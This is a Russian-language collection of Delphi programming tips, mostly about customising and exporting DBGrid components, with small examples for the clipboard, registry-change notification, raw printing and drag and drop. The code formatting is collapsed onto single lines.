Простая процедура копирования информации из DBGrid-а в Clipboard может существенно облегчить жизнь при реализации требований экспорта выборок данных во внешние приемники. Удобнее вызов "прицепить" к контекстному меню грида.

Code: Unit UnGridToClb; Interface. Uses. Windows, SysUtils, Classes, Dialogs, Grids, DBGrids, Db, DBTables, ClipBrd; Procedure CopyGRDToClb(dbg: TDBGrid); // Копирует DBGrid в буфер обмена, // после чего данные отлично переносятся. // как в простой текстовый редактор, так и в Excell. Implementation. Procedure CopyGRDToClb(dbg: TDBGrid); Var. Bm: TBookMark; Pch, pch1: PChar; S, s2: string; I, j: integer; Begin. S := ''; For j := 0 to dbg.Columns.Count - 1 do. S := s + dbg.Columns.Items[j].Title.Caption + #9; S := s + #13 + #10; If not dbg.DataSource.DataSet.active then. Begin. ShowMessage('Нет выборки!!!'); Exit; End; Try. Dbg.Visible := False; //Делаем грид невидимым, чтобы не тратилось время. //на его перерисовку при прокрутке DataSet - просто и. //эффективно. Bm := dbg.DataSource.DataSet.GetBookmark; // для того чтобы не. // потерять текущую запись. Dbg.DataSource.DataSet.First; While not dbg.DataSource.DataSet.EOF do. Begin. S2 := ''; For j := 0 to dbg.Columns.Count - 1 do. Begin. S2 := s2 + dbg.Columns.Items[j].Field.AsString + #9; End; S := s + s2 + #13 + #10; Dbg.DataSource.DataSet.Next; End; //Переключаем клавиатуру "в русский режим", //иначе - проблемы с кодировкой. GetMem(pch, 100); GetMem(pch1, 100); GetKeyboardLayoutName(pch); StrCopy(pch1, pch); While pch <> '00000419' do. Begin. ActivateKeyboardLayout(HKL_NEXT, 0); GetKeyboardLayoutName(pch); If strComp(pch, pch1) = 0 then. //Круг замкнулся - нет такого языка '00000419' StrCopy(pch, '00000419'); End; Clipboard.AsText := s; //Данные - в буфер!!! //Возвращаем режим клавиатуры. While strComp(pch, pch1) <> 0 do. Begin. ActivateKeyboardLayout(HKL_NEXT, 0); GetKeyboardLayoutName(pch); End; FreeMem(pch); FreeMem(pch1); Dbg.DataSource.DataSet.GotoBookmark(bm); //ShowMessage('Данные успешно скопированы в буфер обмена.'); Finally. Dbg.Visible := True; End; End; End.

Как найти строку в строке начиная с определённой позиции?

Code: //----------------------------------------------------------------------------- // Name: cnsSmartPos. // Author: Com-N-Sense. // Date: // Purpose: Find a substring in a string starting from any position in the string. // Params: SubStr - a substring for search. // S - the source string to search within. // StartPos - the index position to start the search. // Result: Integer - the position of the substring, // zero - if the substring was not found. // Remarks: This is the original Delphi "Pos" function modified to support. // the start pos parameter. //----------------------------------------------------------------------------- Function SmartPosAsm(const substr : AnsiString; const s : AnsiString; StartPos : Cardinal) : Integer; Type. StrRec = packed record. AllocSiz: Longint; RefCnt: Longint; Length: Longint; End; Const. Skew = sizeof(StrRec); Asm. { ->EAX Pointer to substr }. { EDX Pointer to string }. { <-EAX Position of substr in s or 0 }. TEST EAX,EAX. JE @@noWork. TEST EDX,EDX. JE @@stringEmpty. PUSH EBX. PUSH ESI. PUSH EDI. MOV ESI,EAX { Point ESI to substr }. MOV EDI,EDX { Point EDI to s }. MOV EAX,ECX. MOV ECX,[EDI-skew].StrRec.length { ECX = Length(s) }. ADD EDI,EAX. SUB ECX,EAX. PUSH EDI { remember s position to calculate index }. MOV EDX,[ESI-skew].StrRec.length { EDX = Length(substr). DEC EDX { EDX = Length(substr) - 1 }. JS @@fail { < 0 ? return 0 }. MOV AL,[ESI] { AL = first char of substr }. INC ESI { Point ESI to 2'nd char of substr }. SUB ECX,EDX { #positions in s to look at }. { = Length(s) - Length(substr) + 1 }. JLE @@fail. @@loop: REPNE SCASB. JNE @@fail. MOV EBX,ECX { save outer loop counter }. PUSH ESI { save outer loop substr pointer }. PUSH EDI { save outer loop s pointer }. MOV ECX,EDX. REPE CMPSB. POP EDI { restore outer loop s pointer }. POP ESI { restore outer loop substr pointer }. JE @@found. MOV ECX,EBX { restore outer loop counter }. JMP @@loop. @@fail: POP EDX { get rid of saved s pointer }. XOR EAX,EAX. JMP @@exit. @@stringEmpty: XOR EAX,EAX. JMP @@noWork. @@found: POP EDX { restore pointer to first char of s }. MOV EAX,EDI { EDI points of char after match }. SUB EAX,EDX { the difference is the correct index }. @@exit: POP EDI. POP ESI. POP EBX. @@noWork: End; //SmartPosAsm. Function cnsSmartPos(const substr : AnsiString; const s : AnsiString; StartPos : Cardinal) : Integer; Begin. Dec(StartPos); Result := SmartPosAsm(SubStr,S,StartPos); If Result > 0 then Result := Result + StartPos; End; //cnsSmartPos.

Экспортировать DBGrid в HTML.

Code: Type. TGridToHTMLOption = (ghWithHeaders); TGridToHTMLOptions = set of TGridToHTMLOption; Function DBGridToHTML(Grid : TDBGrid; ExportOptions: TGridToHTMLOptions): String; Const. HTMLStart = '< !DOCTYPE HTML PUBLIC " -//W3C//DTD HTML 4.0 Transitional//EN" > '#13. + '< HTML> '#13 + '< HEAD> < META http-equiv=Content-Type content=" text/html; Charset=windows-1251" > '#13 + '< STYLE> '#13 + 'BODY {'#13 + ' BACKGROUND: white;'#13 + ' COLOR: black;'#13 + ' FONT-FAMILY: arial;'#13 + ' FONT-SIZE: 8pt;'#13 + ' VERTICAL-ALIGN: top'#13 + '}'#13 + 'TABLE {'#13 + ' BACKGROUND: white;'#13 + ' BORDER-BOTTOM: silver 0px solid;'#13 + ' BORDER-LEFT: silver 1px solid;'#13 + ' BORDER-RIGHT: silver 0px solid;'#13 + ' BORDER-TOP: silver 1px solid;'#13 + ' FONT-FAMILY: arial;'#13 + ' FONT-SIZE: 8pt;'#13 + ' FONT-WEIGHT: normal;'#13 + '}'#13 + 'TD {'#13 + ' BORDER-BOTTOM: silver 1px solid;'#13 + ' BORDER-LEFT: silver 0px solid;'#13 + ' BORDER-RIGHT: silver 1px solid;'#13 + ' BORDER-TOP: silver 0px solid;'#13 + ' VERTICAL-ALIGN: top;'#13 + ' TEXT-ALIGN: left;'#13 + '}'#13 + 'TD.grid {'#13 + ' TEXT-ALIGN: left;'#13 + '}'#13 + 'TD.gridr {'#13 + ' TEXT-ALIGN: right;'#13 + '}'#13 + 'TD.gridc {'#13 + ' TEXT-ALIGN: center;'#13 + '}'#13 + 'TH {'#13 + ' BACKGROUND: silver;'#13 + ' BORDER-BOTTOM: gray 1px solid;'#13 + ' BORDER-LEFT: gray 0px solid;'#13 + ' BORDER-RIGHT: gray 1px solid;'#13 + ' BORDER-TOP: gray 0px solid;'#13 + ' FONT-WEIGHT: bold;'#13 + '}'#13 + 'TH.grid {'#13 + ' TEXT-ALIGN: left;'#13 + '}'#13 + 'TH.gridr {'#13 + ' TEXT-ALIGN: right;'#13 + '}'#13 + 'TH.gridc {'#13 + ' TEXT-ALIGN: center;'#13 + '}'#13 + '< /STYLE> '#13 + '< TITLE> Печать таблицы< /TITLE> '#13 + '< /HEAD> '#13 + '< BODY> '#13; HTMLEnd = '< /BODY> < /HTML> '; TableStart = '< TABLE WIDTH=" 100%" CELLSPACING=0 CELLPADDING=1> '#13; TableEnd = '< /TABLE> '#13; HeaderRowStart = '< TR> '#13; HeaderRowEnd = '< /TR> '#13; BodyRowStart = '< TR> '#13; BodyRowEnd = '< /TR> '#13; Const. StyleNames: array [TAlignment] of String = ('grid', 'gridr', 'gridc'); Function TD(Column: TColumn; IsTitle: Boolean; Widht: Integer): String; Var. S: String; Align: TAlignment; Tag: String; Begin. If IsTitle then begin. Tag := 'TH'; Align := Column.Title.Alignment; S := StyleNames[Align]; End else begin. Tag := 'TD'; Align := Column.Alignment; If Align = taLeftJustify then begin. If (Column.Field is TBCDField) or. (Column.Field is TCurrencyField) then. Align := taRightJustify; If (Column.Field is TBooleanField) then. Align := taCenter; End; S := StyleNames[Align]; If (Column.Field is TBCDField) or (Column.Field is. TIntegerField) then. S := S + ' NOWRAP' End; If Widht > 0 then. S := S + Format(' WIDTH=" %d%%" ', [Widht]); Result := '< ' + Tag + ' class=' + S + '> '; If IsTitle then begin. S := Column.Title.Caption. End else begin. If Column.Field is TBooleanField then. With TBooleanField(Column.Field) do begin. If Length(DisplayValues) = 0 then begin. If AsBoolean then. S := 'да' Else. S := 'нет'; End else. S := Column.Field.DisplayText; End else. S := Column.Field.DisplayText; End; If Length(Trim(S)) = 0 then. S := ' '; Result := Result + S + '< /' + Tag + '> '#13; End; Var. BM : String; I : Integer; Widhts: array of Integer; TotalWidht: Integer; Begin. Result := ''; With Grid do begin. If Assigned(DataSource) and. Assigned(DataSource.DataSet) and. DataSource.DataSet.Active then. With DataSource.DataSet do begin. DisableControls; BM := BookMark; SetLength(Widhts, Columns.Count); TotalWidht := 0; For I := 0 to Pred(Columns.Count) do begin. If Assigned(Columns[I].Field) then begin. Widhts[I] := Columns[I].Width; Inc(TotalWidht, Widhts[I]); End; End; For I := 0 to High(Widhts) do begin. Widhts[I] := Widhts[I] * 100 div TotalWidht; End; Result := HTMLStart; Result := Result + TableStart; If (ghWithHeaders in ExportOptions) then begin. Result := Result + HeaderRowStart; For I := 0 to Pred(Columns.Count) do begin. If Assigned(Columns.Items[I].Field) then begin. Result := Result + TD(Columns.Items[I], TRUE, Widhts[I]); End; End; Result := Result + HeaderRowEnd; End; First; While not Eof do begin. Result := Result + BodyRowStart; For I := 0 to Pred( Columns.Count ) do begin. If Assigned(Columns.Items[I].Field) then begin. Result := Result + TD(Columns.Items[I], FALSE, -1{Integer(Widhts[Index]}); End; End; Result := Result + BodyRowEnd; Next; End; Result := Result + TableEnd + HTMLEnd; BookMark := BM; EnableControls; End; End; End;

Перемещение по таблице с помощью вертикальной полосы прокрутки.

Это небольшое исправление к исходному коду VCL, позволяющее поддерживать перемещение по таблице с помощью изменения позиции движка вертикальной полосы прокрутки.

(Примечание: это работает только с таблицами Paradox и BDE. Для использования этого кода с другими таблицами/движками вам необходимо заменить DBIGetSeqNo на функцию, надежно возвращающую текущую позицию записи вне зависимости от того, использует ли таблица индекс или нет.).

В DBGRID.PAS измените две следующих процедуры:

Code: Procedure TCustomDBGrid.UpdateScrollBar; Var. Pos: Integer; MPos, mMax: longint; Begin. If FDatalink.Active and HandleAllocated then. With FDatalink.DataSet do. Begin. UpdateCursorPos; If (DBIGetSeqNo(Handle, mPos) = DBIERR_NONE) then. Begin. MMax := RecordCount; While mMax > 1000 do. Begin. MMax := mMax div 10; MPos := mPos div 10; End; SetScrollRange(Self.Handle, SB_VERT, 1, mMax, False); End. Else. Begin. If BOF then. MPos := 0. Else if EOF then. MPos := 4. Else. MPos := 2; SetScrollRange(Self.Handle, SB_VERT, 0, 4, False); End; (**). If GetScrollPos(Self.Handle, SB_VERT) <> mPos then. SetScrollPos(Self.Handle, SB_VERT, mPos, True); End; End; Procedure TCustomDBGrid.WMVScroll(var Message: TWMVScroll); Var. MMin, mMax: integer; RecCount, RecNo, NewRecNo: longint; Begin. If not AcquireFocus then. Exit; If FDatalink.Active then. With Message, FDataLink.DataSet, FDatalink do. Case ScrollCode of. SB_LINEUP: MoveBy(-ActiveRecord - 1); SB_LINEDOWN: MoveBy(RecordCount - ActiveRecord); SB_PAGEUP: MoveBy(-VisibleRowCount); SB_PAGEDOWN: MoveBy(VisibleRowCount); SB_THUMBPOSITION: If (DBIGetSeqNo(Handle, RecNo) = DBIERR_NONE) then. Begin. GetScrollRange(self.Handle, SB_VERT, mMin, mMax); NewRecNo := Pos * (FDataLink.DataSet.RecordCount div mMax); MoveBy(NewRecNo - RecNo); End. Else. Case Pos of. 0: First; 1: MoveBy(-VisibleRowCount); 2: Exit; 3: MoveBy(VisibleRowCount); 4: Last; End; SB_BOTTOM: Last; SB_TOP: First; End; End;

Кам при прокрутке зафиксировать левое поле сетки?

Code: Unit Fcdgrid; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, DBCtrls, DB, Menus; Type. TFixedColDBGrid = class(TDBGrid). Private. FUserFixedCols: Integer; Protected. Procedure LayoutChanged; override; Procedure SetUserFixedCols(I: Integer); Published. Property UserFixedCols: Integer read FUserFixedCols write SetUserFixedCols; End; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('Data Controls', [TFixedColDBGrid]); End; Procedure TFixedColDBGrid.LayoutChanged; Begin. Inherited LayoutChanged; { присваиваем FixedCols 1 если индикатор, иначе 0 }. If ((inherited FixedCols + FUserFixedCols) < inherited ColCount) then. Inherited FixedCols := (FUserFixedCols + inherited FixedCols); End; Procedure TFixedColDBGrid.SetUserFixedCols(I: Integer); Begin. FUserFixedCols := I; LayoutChanged; End; End.

DBGrid с номером строки.

Code: Unit RowGrid; Interface. Uses. WinTypes, WinProcs, Classes, Grids, DBGrids; Type. TRowDBGrid = class(TDBGrid). Public. Property Row; Property RowCount; Property VisibleRowCount; End; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('Data Controls', [TRowDBGrid]); End; End. {вот небольшой испытательный демо-проект.. мы. Поместили на форму нашу сетку-наследницу, 3 компонента. EditBox и поместили следующий код в обработчик события. Ondrawdatacell вашего TRowGrid}. Procedure TForm1.RowDBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; Field: TField; State: TGridDrawState); Begin. Eb_row.text := inttostr(rowdbgrid1.row); Eb_rowcount.text := inttostr(rowdbgrid1.rowcount); Eb_visiblerowcount.text := inttostr(rowdbgrid1.visiblerowcount); End;

Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?

Для этого необходимо переопределить метод Paint. Внутри метода Paint Вы должны вызвать API процедуру SetScrollRange для установки минимального и максимального значений скроллирования в ноль (тем самым запретив скроллбар), а затем вызвать inherited. Следующий код, это unit содержащий новый компонент под названием TNoScrollBarDBGrid, который делает это.

Code: Type. TNoScrollBarDBGrid = class(TDBGrid). Protected. Procedure Paint; override; End; Procedure register; Implementation. Procedure register; Begin. RegisterComponents('Samples', [TNoScrollBarDBGrid]); End; { TNoScrollBarDBGrid }. Procedure TNoScrollBarDBGrid.Paint; Begin. SetScrollRange(Handle, SB_VERT, 0, 0, false); Inherited; End;

Как получить событие о смене реестра?

Code: Function RegNotifyChangeKeyValue(hKey: HKEY; bWatchSubtree: Boolean; DwNotifyFilter: DWORD; hEvent: THandle; fAsynchronus: Boolean): Longint; stdcall; External 'advapi32.dll' name 'RegNotifyChangeKeyValue'; {©Drkb v.3(2007): www.drkb.ru}. Procedure TForm1.Button1Click(Sender: TObject); Const. DwFilter = REG_NOTIFY_CHANGE_NAME or. REG_NOTIFY_CHANGE_ATTRIBUTES or. REG_NOTIFY_CHANGE_LAST_SET or. REG_NOTIFY_CHANGE_SECURITY; Var. HMainKey, hSubKey: HKEY; HNotifyEvent: THandle; ErrorCode: Longint; Begin. HMainKey := HKEY_CURRENT_USER; ErrorCode := RegOpenKeyEx(hMainKey, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS, hSubKey); If ErrorCode = ERROR_SUCCESS then. Try. HNotifyEvent := CreateEvent(nil, True, False, nil); If hNotifyEvent <> 0 then. Try. ErrorCode := RegNotifyChangeKeyValue(hSubKey, True, dwFilter, hNotifyEvent, True); If ErrorCode = ERROR_SUCCESS then. Case WaitForSingleObject(hNotifyEvent, INFINITE) of. WAIT_FAILED: ShowMessage(SysErrorMessage(GetLastError)); WAIT_OBJECT_0: ShowMessage('Произошли изменения в реестре.'); End; Finally. CloseHandle(hNotifyEvent); End. Else. ShowMessage(SysErrorMessage(GetLastError)); Finally. RegCloseKey(hSubKey); End; If ErrorCode <> ERROR_SUCCESS then. ShowMessage(SysErrorMessage(ErrorCode)); End;

Автор: Александр (Rouse_) Багель

Взято из http://forum.sources.ru

©Drkb::02278.

Code: { An application can be notified of changes in the data stored in the. Windows clipboard by registering itself as a Clipboard Viewer. Clipboard viewers use two API calls and several messages to communicate. With the Clipboard viewer chain. SetClipboardViewer adds a window to the. Beginning of the chain and returns a handle to the next viewer in the chain. ChangeClipboardChain removes a window from the chain. When a clipboard change occurs, The first window in the clipboard viewer chain is notified via the WM_DrawClipboard. Message and must pass the message on to the next window. To do this, our application. Must store the next window along in the chain to forward messages to and also respond. To the WM_ChangeCBChain message which is sent whenever any other clipboard viewer on. The system is added or removed to ensure the next window along is valid. } Unit Unit1; Interface. Uses. Windows, Messages, Forms, Classes, Controls, StdCtrls; Type. TForm1 = class(TForm). Button1: TButton; Button2: TButton; Procedure Button1Click(Sender : TObject); Procedure Button2Click(Sender : TObject); Procedure FormCreate(Sender : TObject); Procedure FormDestroy(Sender : TObject); Private. FNextClipboardViewer: HWND; Procedure WMChangeCBChain(var Msg : TWMChangeCBChain); message WM_CHANGECBCHAIN; Procedure WMDrawClipboard(var Msg : TWMDrawClipboard); message WM_DRAWCLIPBOARD; End; Var. Form1 : TForm1; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender : TObject); Begin. { Initialize variable }. FNextClipboardViewer := 0; End; Procedure TForm1.Button1Click(Sender : TObject); Begin. If FNextClipboardViewer <> 0 then. MessageBox(0, 'This window is already registered!', nil, 0). Else. { Add to clipboard chain }. FNextClipboardViewer := SetClipboardViewer(Handle); End; Procedure TForm1.Button2Click(Sender : TObject); Begin. { Remove from clipboard chain }. ChangeClipboardChain(Handle, FNextClipboardViewer); FNextClipboardViewer := 0; End; Procedure TForm1.WMChangeCBChain(var Msg : TWMChangeCBChain); Begin. Inherited; { mark message as done }. Msg.Result := 0; { the chain has changed }. If Msg.Remove = FNextClipboardViewer then. { The next window in the clipboard viewer chain had been removed. We recreate it. }. FNextClipboardViewer := Msg.Next. Else. { Inform the next window in the clipboard viewer chain }. SendMessage(FNextClipboardViewer, WM_CHANGECBCHAIN, Msg.Remove, Msg.Next); End; Procedure TForm1.WMDrawClipboard(var Msg : TWMDrawClipboard); Begin. Inherited; { Clipboard content has changed }. Try. MessageBox(0, 'Clipboard content has changed!', 'Clipboard Viewer', MB_ICONINFORMATION); Finally. { Inform the next window in the clipboard viewer chain }. SendMessage(FNextClipboardViewer, WM_DRAWCLIPBOARD, 0, 0); End; End; Procedure TForm1.FormDestroy(Sender : TObject); Begin. If FNextClipboardViewer <> 0 then. Begin. { Remove from clipboard chain }. ChangeClipboardChain(Handle, FNextClipboardViewer); FNextClipboardViewer := 0; End; End; End.

Печать в порт принтера.

{1.}.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Port, prnfile: file; Buffer: array [1..128] of Char; Read: Integer; Begin. // Specify a file to print. AssignFile(prnfile, 'filetoprint'); Reset(prnfile, 1); // specify printer port. AssignFile(port, 'LPT1'); Rewrite(port, 1); Repeat. BlockRead(prnfile, buffer, SizeOf(buffer), Read); BlockWrite(port, buffer, Read); // Application.ProcessMessages; Until EOF(prnfile) or (Read <> SizeOf(buffer)); CloseFile(prnfile); CloseFile(port); End;

©Drkb::03251.

{2.}.

Code: { Question: How do I write a raw string of a data to the printer? The following unit "PrtRaw.pas" demonstrates a 16/32 bit. Raw printing unit for Delphi and Borland C Builder. Following the unit, is an exmaple on using the. PrtRaw unit. Notes: 1) You are responsible for embedding all necessary. Control codes that the printer may require (including. Form feed codes). 2) You must specify a valid printer and port name. } Unit PrtRaw; {Copyright (c) 1998 by Joe C. Hecht - All rights Reserved}. {joehecht@gte.net You may use and share this unit}. {providing my name and the copyright notice stays intact.}. Interface. Uses. WinTypes; {$IFDEF WIN32}. Type SpoolInt = DWORD; {$ELSE}. Type SpoolInt = integer; {$ENDIF}. Function StartRawPrintJob(PrinterName : pChar; Port : pChar; DocName : pChar) : THandle; Function StartRawPrintPage(hPrn : THandle) : integer; Function PrintRawData(hPrn : THandle; Buffer : pointer; NumBytes : SpoolInt) : integer; Function EndRawPrintPage(hPrn : THandle) : integer; Function EndRawPrintJob(hPrn : THandle) : integer; Implementation. Uses. WinProcs, {$IFDEF WIN32}. WinSpool; {$ELSE}. Print; {$ENDIF}. Function StartRawPrintJob(PrinterName : pChar; Port : pChar; DocName : pChar) : THandle; {$IFDEF WIN32}. Var. HPrn : THandle; DocInfo1 : TDocInfo1; {$ENDIF}. Begin. {$IFDEF WIN32}. If (OpenPrinter(PChar(PrinterName), HPrn, Nil) = FALSE) then. Begin. Result := THandle(-1); Exit; End; DocInfo1.pDocName := DocName; DocInfo1.pOutputFile := Port; DocInfo1.pDataType := 'RAW'; If (StartDocPrinter(hPrn, 1, @DocInfo1) = 0) then. Begin. Result := THandle(-1); Exit; End; Result := hPrn; {$ELSE}. Result := OpenJob(Port, DocName, 0); {$ENDIF}. End; Function StartRawPrintPage(hPrn : THandle) : integer; Begin. {$IFDEF WIN32}. If (StartPagePrinter(hPrn) = FALSE) then. Begin. Result := -1; Exit; End; Result := 1; {$ELSE}. Result := StartSpoolPage(hPrn); {$ENDIF}. End; Function PrintRawData(hPrn : THandle; Buffer : pointer; NumBytes : SpoolInt) : integer; {$IFDEF WIN32}. Var. BytesWritten : DWORD; {$ENDIF}. Begin. If (NumBytes = 0) then. Begin. Result := 1; Exit; End; {$IFDEF WIN32}. If (WritePrinter(hPrn, Buffer, NumBytes, BytesWritten) = FALSE) then. Begin. Result := -1; Exit; End; If (NumBytes <> BytesWritten) then. Begin. Result := -1; Exit; End; Result := 1; {$ELSE}. Result := WriteSpool(hPrn, Buffer, NumBytes); {$ENDIF}. End; Function EndRawPrintPage(hPrn : THandle) : integer; Begin. {$IFDEF WIN32}. If (EndPagePrinter(hPrn) = FALSE) then. Begin. Result := -1; Exit; End; Result := 1; {$ELSE}. Result := EndSpoolPage(hPrn); {$ENDIF}. End; Function EndRawPrintJob(hPrn : THandle) : integer; Begin. {$IFDEF WIN32}. If (EndDocPrinter(hPrn) = FALSE) then. Begin. Result := -1; Exit; End; If (ClosePrinter(hPrn) = FALSE) then. Begin. Result := -1; Exit; End; Result := 1; {$ELSE}. Result := CloseJob(hPrn); {$ENDIF}. End; End.

Пример Drag and Drop между двумя DBGrid.

Данный пример компонента и демонстрационный проект показывают простой путь осуществления операции "drag and drop" (перетащи и брось) между двумя полями различных табличных сеток.

Запустите Delphi 3 (с незначительными изменениями данный код может работать и в Delphi 1-2).

Активизируйте File|New|Unit. Скопируйте приведенный ниже модуль MyDBGrid во вновь созданный модуль. Сделайте File|Save As. Сохраните модуль как MyDBGrid.pas.

Выберите пункт меню Component|Install Component. Переключитесь на страницу Info New Package. Поместите MyDBGrid.pas в поле редактирования "Unit file name" (имя файла модуля). Назовите модуль MyPackage.dpk. Ответьте Yes на вопрос Delphi 3 о необходимости сборки и установки пакета. Нажмите OK на сообщение Delphi 3 о необходимости включения VCL30.DPL. После этого пакет будет собран и установлен. Теперь компонент TMyDBGrid будет отображен в Палитре Компонентов в группе "Samples". Закройте редактор пакетов и сохраните пакет.

Выберите пункт меню File|New Application. Щелкните правой кнопкой мыши на форме (Form1) и выберите View As Text. Скопируйте приведенный ниже исходный код формы GridU1 в Form1. Щелкните правой кнопкой мыши на форме и выберите View As Form. Убедитесь в активности ваших таблиц. Скопируйте расположенный ниже модуль GridU1 в ваш модуль Unit1.

Выберите пункт меню File|Save Project As. Сохраните модуль как GridU1.pas. Сохраните проект как GridProj.dpr.

Теперь запустите проект и наслаждайтесь функцией Drag and Drop между двумя табличными сетками.

Code: // Модуль MyDBGrid. Unit MyDBGrid; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids; Type. TMyDBGrid = class(TDBGrid). Private. { Private declarations }. FOnMouseDown: TMouseEvent; Protected. { Protected declarations }. Procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override; Published. { Published declarations }. Property Row; Property OnMouseDown read FOnMouseDown write FOnMouseDown; End; Procedure Register; Implementation. Procedure TMyDBGrid.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. If Assigned(FOnMouseDown) then. FOnMouseDown(Self, Button, Shift, X, Y); Inherited MouseDown(Button, Shift, X, Y); End; Procedure Register; Begin. RegisterComponents('Samples', [TMyDBGrid]); End; End.

Перемещение из DbGrid.

Кто-нибудь пробовал перемещать что-либо из DbGrid методом перетащи и брось (drag and drop)? Вы сами можете создать потомка TDBGrid (или TDBCustomGrid) и добавить необходимую функциональность для достижения цели.

Скопируйте код из данного "Совета", сохраните его с именем DBGrid.pas и установите компонент в палитру. У Вас появится новый компонент EDBGrid с двумя новыми событиями: OnMouseDown и OnMouseUp. Я не считаю эту информацию конфиденциальной: это ошибка разработчиков Delphi! На самом деле эти два события должны быть частью компонента DBGrid.

Code: Unit Dbgrid; Interface. Uses. DBGrids, Controls, Classes; Type. TEDBGrid = class(TDBGrid). Private. FOnMouseDown: TMouseEvent; FOnMouseUp: TMouseEvent; Protected. Procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override; Procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override; Published. Property OnMouseDown: TMouseEvent read FOnMouseDown write. FOnMouseDown; Property OnMouseUp: TMouseEvent read FOnMouseUp write FOnMouseUp; End; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('Data Controls', [TEDBGrid]); End; Procedure TEDBGrid.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. If Assigned(FOnMouseDown) then. FOnMouseDown(Self, Button, Shift, X, Y); Inherited MouseDown(Button, Shift, X, Y); End; Procedure TEDBGrid.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. If Assigned(FOnMouseUp) then. FOnMouseUp(Self, Button, Shift, X, Y); Inherited MouseUp(Button, Shift, X, Y); End; End.

Рисование текста в DBGrid.

Следующий метод может быть использован в качестве обработчика события TDBGrid.OnDrawDataCell. Он демонстрирует способ рисования текста в колонке цветом, отличным от цвета текста в остальной части табличной сетки.

Code: Procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; Field: TField; State: TGridDrawState); { ПРИМЕЧАНИЕ: Свойство DefaultDrawing компонента. Grid должно быть установлено в False }. Begin. { если имя поля - "NAME" }. If Field.FieldName = 'NAME' then. { изменяем цвет шрифта на красный }. (Sender as TDBGrid).Canvas.Font.Color := clRed; { выводим текст в табличной сетке }. (Sender as TDBGrid).Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top + 2, Field.AsString); End;

Использование Enter как Tab в TDBGrid.

Приведу код, позволяющий использовать нажатие клавиши Enter как клавиши Tab пока управление находится в табличной сетке.

Данный код включает обработку клавиши Enter для всего приложения, включая поля и пр.. Код для работы с компонентом DBGrid заключен в блок ELSE. Приведенный код не имитирует поведение клавиши Tab, связанное с переходом на следующую запись когда курсор достигает последней колонки табличной сетки, в нашем случае он перемещается на первую колонку.

Code: Procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char); { Это обработчик события OnKeyPress для ФОРМЫ! }. { Вы должны также установить свойство формы KeyPreview в True }. Begin. If Key = #13 then { если это клавиша Enter }. If not (ActiveControl is TDBGrid) then. Begin { если не на TDBGrid }. Key := #0; { гасим клавишу Enter }. Perform(WM_NEXTDLGCTL, 0, 0); { перемещаемя на следующий элемент управления }. End. Else if (ActiveControl is TDBGrid) then { если это TDBGrid }. With TDBGrid(ActiveControl) do. If selectedindex < (fieldcount - 1) then { увеличиваем поле }. Selectedindex := selectedindex + 1. Else. Selectedindex := 0; End;

Как вывести Hint для ячейки DBGrid.

Создайте на форме DataSource1, Table1, DataSource2, Table2, DBGrid1. Table1 и Table2 свяжите со своей базой данных. DataSource1 и DataSource2 свяжите соответственно с Table1 и Table2. DBGrid1 свяжите с DataSource1 Table2 и DataSource2 нужны для доступа к какой-нибудь ячейке. Другой способ без их использования: при отрисовке значений ячеек (соответствующее событие), необходимо запомнить значения всех ячеек, находящихся на экране и производить выбор среди них.

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, Db, DBTables; Type. TForm1 = class(TForm). DataSource1: TDataSource; Table1: TTable; DBGrid1: TDBGrid; Table2: TTable; DataSource2: TDataSource; Procedure FormCreate(Sender: TObject); Private. { Private declarations }. Procedure AppMess(var Msg: TMsg; var Handled: Boolean); Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.AppMess(var Msg: TMsg; var Handled: Boolean); Var. X, Y: integer; Gpt: TGridCoord; S: string; W, len: integer; Begin. If Msg.message=WM_MOUSEMOVE then. Begin. If Msg.hwnd=DBGrid1.Handle then. Begin. X:=LoWord(Msg.lParam); Y:=HiWord(Msg.lParam); Gpt:=DBGrid1.MouseCoord(x,y); {получить строку и солбец, в которых находится курсор}. If (gpt.x>0) and (gpt.y>0) then. Begin. DataSource2.DataSet.First; DataSource2.DataSet.MoveBy(gpt.y-1); S:=Table2.Fields[gpt.x-1].asString; W:=DBGrid1.Columns[gpt.x-1].Width; {получить ширину столбца}. Len:=DBGrid1.Canvas.TextWidth(s); {получить длину строки в пикселах}. If len > w then. DBGrid1.Hint:=s; Else. DBGrid1.Hint:=''; End; End; End; End; Procedure TForm1.FormCreate(Sender: TObject); Begin. DBGrid1.ShowHint := True; Application.OnMessage := AppMess; End; End.

Симуляция нажатия кнопки при наличии DBGrid.

В случае нажатия клавиши Enter, клавиша по умолчанию не срабатывает, если у вас на форме расположен компонент DBGrid, но вы можете создать обработчик события DBGrid OnKeypUp, уведомляющий кнопку по умолчанию о ее "нажатии" при реальном нажатии клавиши Enter. Пример:

Code: {Код DBGrid OnKeyUp. Default-кнопка - BitBtn1.}. If Key = VK_RETURN then. Begin. PostMessage(BitBtn1.Handle, WM_LBUTTONDOWN, Word(0), LongInt(0)) ; PostMessage(BitBtn1.Handle, WM_LBUTTONUP, Word(0), LongInt(0)) ; End ;

Интерактивные SQL-запросы.

